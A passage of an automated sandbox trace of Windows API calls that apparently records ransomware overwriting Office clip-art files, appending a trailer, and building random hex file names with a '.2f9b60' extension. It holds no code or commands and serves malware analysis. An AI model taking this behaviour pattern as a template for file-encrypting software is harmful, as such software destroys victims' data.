Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x6e407c29 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x2e72adee [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x4ee10b49 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x5a29aa2e [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x47226034 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x2a837b3e [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x72db775c [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x1a5b6b11 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x6ef68ee1 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x734af5c7 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x726742e6 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x2aaee7d6 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x1f6e2d43 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x12b063c6 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x2fa6b662 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x161c9fe5 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x6a2e03fc [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0xebdcd0 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x1f343c6e [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x492425a9 [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x448e6add [0150.096] RtlRandomEx (in: Seed=0x2bb8fbf0 | out: Seed=0x2bb8fbf0) returned 0x44abf356 [0150.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4120 [0150.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0150.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4150 [0150.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0150.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40f0) returned 1 [0150.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0150.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0150.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42408970 [0150.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4240c580 [0150.108] ReadFile (in: hFile=0x21c0, lpBuffer=0x42408970, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x2bb8fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42408970*, lpNumberOfBytesRead=0x2bb8fbf0*=0x6e8, lpOverlapped=0x0) returned 1 [0150.108] SetFilePointerEx (in: hFile=0x21c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.108] WriteFile (in: hFile=0x21c0, lpBuffer=0x4240c580*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x2bb8fbf4, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesWritten=0x2bb8fbf4*=0x6e8, lpOverlapped=0x0) returned 1 [0162.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a74f0 [0162.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7520 [0162.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7520) returned 1 [0162.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4240c580) returned 1 [0162.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42408970) returned 1 [0162.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0162.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0162.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7520 [0162.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0162.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0162.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7550 [0162.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7550) returned 1 [0162.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7550 [0162.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7580 [0162.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a75b0 [0162.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a75b0) returned 1 [0162.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0162.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0162.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423adcd0 [0162.092] SetFilePointerEx (in: hFile=0x21c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.092] WriteFile (in: hFile=0x21c0, lpBuffer=0x423adcd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bb8fd10, lpOverlapped=0x0 | out: lpBuffer=0x423adcd0*, lpNumberOfBytesWritten=0x2bb8fd10*=0x10a, lpOverlapped=0x0) returned 1 [0164.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0164.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0164.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4270) returned 1 [0164.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0164.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0164.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4240) returned 1 [0164.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0164.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.069] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.069] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.069] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="37") returned 2 [0164.069] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.069] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="75") returned 2 [0164.069] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="81") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="44") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="48") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="57") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="54") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="89") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="51") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="21") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.070] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="14") returned 2 [0164.070] RtlInitAnsiString (in: DestinationString=0x2bb8fd88, SourceString="5aed37c675ce81448c9a485754d989514fb0d12a7b213e14" | out: DestinationString="5aed37c675ce81448c9a485754d989514fb0d12a7b213e14") [0164.070] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bb8fd58, SourceString="5aed37c675ce81448c9a485754d989514fb0d12a7b213e14", AllocateDestinationString=1 | out: DestinationString="5aed37c675ce81448c9a485754d989514fb0d12a7b213e14") returned 0x0 [0164.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa900 [0164.071] RtlFreeAnsiString (AnsiString="5") [0164.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4270) returned 1 [0164.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423adcd0) returned 1 [0164.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7550) returned 1 [0164.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7580) returned 1 [0164.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7520) returned 1 [0164.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a74f0) returned 1 [0164.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4060) returned 1 [0164.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4120) returned 1 [0164.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4150) returned 1 [0164.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e500 [0164.074] wcscat (in: _Dest=0x4230e500, _Source="5aed37c675ce" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce" [0164.074] wcscat (in: _Dest=0x4230e500, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce.2f9b60" [0164.074] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce.2f9b60", NtPathName=0x2bb8fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5aed37c675ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2af90 Thread: id = 2362 os_tid = 0x1d4c [0150.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0150.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF", dwFileAttributes=0x20) returned 1 [0150.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21c4 [0150.111] GetFileSizeEx (in: hFile=0x21c4, lpFileSize=0x2906fe20 | out: lpFileSize=0x2906fe20*=900) returned 1 [0150.111] SetFilePointerEx (in: hFile=0x21c4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.111] ReadFile (in: hFile=0x21c4, lpBuffer=0x2906fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2906fde8, lpOverlapped=0x0 | out: lpBuffer=0x2906fda0*, lpNumberOfBytesRead=0x2906fde8*=0x4, lpOverlapped=0x0) returned 1 [0150.113] SetFilePointerEx (in: hFile=0x21c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0150.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4180 [0150.113] NtQuerySystemTime (in: CurrentTime=0x2906fce0 | out: CurrentTime=0x2906fce0*=132462177553210000) returned 0x0 [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x45d5bdf3 [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x7ce886b7 [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x4a42f85f [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0xae1d847 [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x44bd64e2 [0150.113] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0xd609813 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x2c15562 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x68152c3a [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x16f8a4a4 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x13a970b5 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x6e205321 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x169cce7e [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x532d8b4a [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x604cf0f [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x210eea [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x41ba2762 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x6df67277 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x78e43b76 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x5da81c35 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x36891d1d [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x4efa4361 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x5a5ff040 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x7e1c7f82 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x5dc3158e [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x4a40d109 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x4c668ad1 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x4b2d4a75 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x36634112 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x2912087b [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x344494b1 [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x9c2aa9b [0150.114] RtlRandomEx (in: Seed=0x2906fcd0 | out: Seed=0x2906fcd0) returned 0x1e755bad [0150.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41b0 [0150.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0150.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f41e0 [0150.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0150.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4180) returned 1 [0150.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0150.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0150.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42410190 [0150.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42413da0 [0150.125] ReadFile (in: hFile=0x21c4, lpBuffer=0x42410190, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x2906fcd0, lpOverlapped=0x0 | out: lpBuffer=0x42410190*, lpNumberOfBytesRead=0x2906fcd0*=0x384, lpOverlapped=0x0) returned 1 [0150.126] SetFilePointerEx (in: hFile=0x21c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.126] WriteFile (in: hFile=0x21c4, lpBuffer=0x42413da0*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x2906fcd4, lpOverlapped=0x0 | out: lpBuffer=0x42413da0*, lpNumberOfBytesWritten=0x2906fcd4*=0x384, lpOverlapped=0x0) returned 1 [0162.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a75b0 [0162.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a75e0 [0162.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a75e0) returned 1 [0162.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42413da0) returned 1 [0162.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42410190) returned 1 [0162.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0162.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0162.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a75e0 [0162.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0162.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0162.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7610 [0162.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7610) returned 1 [0162.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a7610 [0162.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7640 [0162.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7670 [0162.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7670) returned 1 [0162.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0162.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0162.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423addf0 [0162.099] SetFilePointerEx (in: hFile=0x21c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.099] WriteFile (in: hFile=0x21c4, lpBuffer=0x423addf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2906fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423addf0*, lpNumberOfBytesWritten=0x2906fdf0*=0x10a, lpOverlapped=0x0) returned 1 [0164.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0164.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4150 [0164.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4150) returned 1 [0164.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d140 [0164.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4150 [0164.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4120 [0164.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4120) returned 1 [0164.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0164.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.078] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="94") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="51") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="69") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="b5") returned 2 [0164.078] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="74") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="73") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="a2") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="78") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="b4") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.079] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="72") returned 2 [0164.079] RtlInitAnsiString (in: DestinationString=0x2906fe68, SourceString="f84c946eaa5169b5fc74b7ec73e4a90da278fcb42e5dcd72" | out: DestinationString="f84c946eaa5169b5fc74b7ec73e4a90da278fcb42e5dcd72") [0164.079] RtlAnsiStringToUnicodeString (in: DestinationString=0x2906fe38, SourceString="f84c946eaa5169b5fc74b7ec73e4a90da278fcb42e5dcd72", AllocateDestinationString=1 | out: DestinationString="f84c946eaa5169b5fc74b7ec73e4a90da278fcb42e5dcd72") returned 0x0 [0164.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa970 [0164.080] RtlFreeAnsiString (AnsiString="f") [0164.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4150) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423addf0) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7610) returned 1 [0164.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 